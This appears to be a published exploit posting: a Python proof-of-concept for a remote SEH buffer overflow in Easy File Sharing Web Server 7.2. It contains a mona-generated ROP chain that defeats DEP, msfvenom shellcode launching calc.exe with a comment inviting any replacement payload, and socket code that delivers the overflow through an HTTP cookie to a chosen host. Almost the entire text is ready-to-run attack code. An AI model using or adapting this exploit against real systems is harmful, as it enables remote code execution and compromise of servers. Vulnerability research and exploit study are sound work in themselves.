Easy File Sharing Web Server 7.2 Buffer Overflow
Posted on 01 December 2015
#!/usr/bin/env python # # Exploit title: Easy File Sharing Web Server v7.2 - Remote SEH Buffer Overflow (DEP bypass with ROP) # Date: 29/11/2015 # Exploit Author: Knaps # Contact: @TheKnapsy # Website: http://blog.knapsy.com # Software Link: http://www.sharing-file.com/efssetup.exe # Version: Easy File Sharing Web Server v7.2 # Tested on: Windows 7 x64, but should work on any other Windows platform # # Notes: # - based on non-DEP SEH buffer overflow exploit by Audit0r (https://www.exploit-db.com/exploits/38526/) # - created for fun & practice, also because it's not 1998 anymore - gotta bypass that DEP! :) # - bad chars: 'x00' and 'x3b' # - max shellcode size allowed: 1260 bytes # import sys, socket, struct # ROP chain generated with mona.py - www.corelan.be (and slightly fixed by @TheKnapsy) # Essentially, use PUSHAD to set all parameters and call VirtualProtect() to disable DEP. def create_rop_chain(): rop_gadgets = [ # Generate value of 201 in EAX 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0xFFFFFDFF, # Value of '-201' 0x100231d1, # NEG EAX # RETN [ImageLoad.dll] # Put EAX into EBX (other unneccessary stuff comes with this gadget as well...) 0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] # Carry on with the ROP as generated by mona.py 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll] # Compensate for the ADD EBX,EAX gadget above, jump over 1 address, which is a dummy writeable location # used solely by the remaining part of the above gadget (it doesn't really do anything for us) 0x1001281a, # ADD ESP,4 # RETN [ImageLoad.dll] 0x61c73281, # &Writable location [sqlite3.dll] # And carry on further as generated by mona.py 0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 0x61c18d81, # XCHG EAX,EDI # RETN [sqlite3.dll] 0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll] 0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 0x10013ad6, # POP EBP # RETN [ImageLoad.dll] 0x61c227fa, # & push esp # ret [sqlite3.dll] 0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll] # Now bunch of ugly increments... unfortunately couldn't find anything nicer :( 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x1001b4f6, # POP ECX # RETN [ImageLoad.dll] 0x61c73281, # &Writable location [sqlite3.dll] 0x100194b3, # POP EDI # RETN [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x90909090, # nop 0x100240c2, # PUSHAD # RETN [ImageLoad.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) # Check command line args if len(sys.argv) <= 1: print "Usage: python poc.py [host] [port]" exit() host = sys.argv[1] port = int(sys.argv[2]) # Offsets rop_offset = 2455 max_size = 5000 seh_offset = 4059 eax_offset = 4183 # move ESP out of the way so the shellcode doesn't corrupt itself during execution # metasm > add esp,-1500 shellcode = "x81xc4x24xfaxffxff" # Just as a PoC, spawn calc.exe. Replace with any other shellcode you want # (maximum size of shellcode allowed: 1260 bytes) # # msfvenom -p windows/exec CMD=calc.exe -b 'x00x3b' -f python # Payload size: 220 bytes shellcode += "xbbxdex37x73xe9xdbxdfxd9x74x24xf4x58x31" shellcode += "xc9xb1x31x31x58x13x83xe8xfcx03x58xd1xd5" shellcode += "x86x15x05x9bx69xe6xd5xfcxe0x03xe4x3cx96" shellcode += "x40x56x8dxdcx05x5ax66xb0xbdxe9x0ax1dxb1" shellcode += "x5axa0x7bxfcx5bx99xb8x9fxdfxe0xecx7fxde" shellcode += "x2axe1x7ex27x56x08xd2xf0x1cxbfxc3x75x68" shellcode += "x7cx6fxc5x7cx04x8cx9dx7fx25x03x96xd9xe5" shellcode += "xa5x7bx52xacxbdx98x5fx66x35x6ax2bx79x9f" shellcode += "xa3xd4xd6xdex0cx27x26x26xaaxd8x5dx5exc9" shellcode += "x65x66xa5xb0xb1xe3x3ex12x31x53x9bxa3x96" shellcode += "x02x68xafx53x40x36xb3x62x85x4cxcfxefx28" shellcode += "x83x46xabx0ex07x03x6fx2ex1exe9xdex4fx40" shellcode += "x52xbexf5x0ax7exabx87x50x14x2ax15xefx5a" shellcode += "x2cx25xf0xcax45x14x7bx85x12xa9xaexe2xed" shellcode += "xe3xf3x42x66xaax61xd7xebx4dx5cx1bx12xce" shellcode += "x55xe3xe1xcex1fxe6xaex48xf3x9axbfx3cxf3" shellcode += "x09xbfx14x90xccx53xf4x79x6bxd4x9fx85" buffer = "A" * rop_offset # padding buffer += create_rop_chain() buffer += shellcode buffer += "A" * (seh_offset - len(buffer)) # padding buffer += "BBBB" # overwrite nSEH pointer buffer += struct.pack("<I", 0x1002280a) # overwrite SEH record with stack pivot (ADD ESP,1004 # RETN [ImageLoad.dll]) buffer += "A" * (eax_offset - len(buffer)) # padding buffer += struct.pack("<I", 0xffffffff) # overwrite EAX to always trigger an exception buffer += "A" * (max_size - len(buffer)) # padding httpreq = ( "GET /changeuser.ghp HTTP/1.1 " "User-Agent: Mozilla/4.0 " "Host:" + host + ":" + str(port) + " " "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 " "Accept-Language: en-us " "Accept-Encoding: gzip, deflate " "Referer: http://" + host + "/ " "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=; " "Conection: Keep-Alive " ) # Send payload to the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(httpreq) s.close()
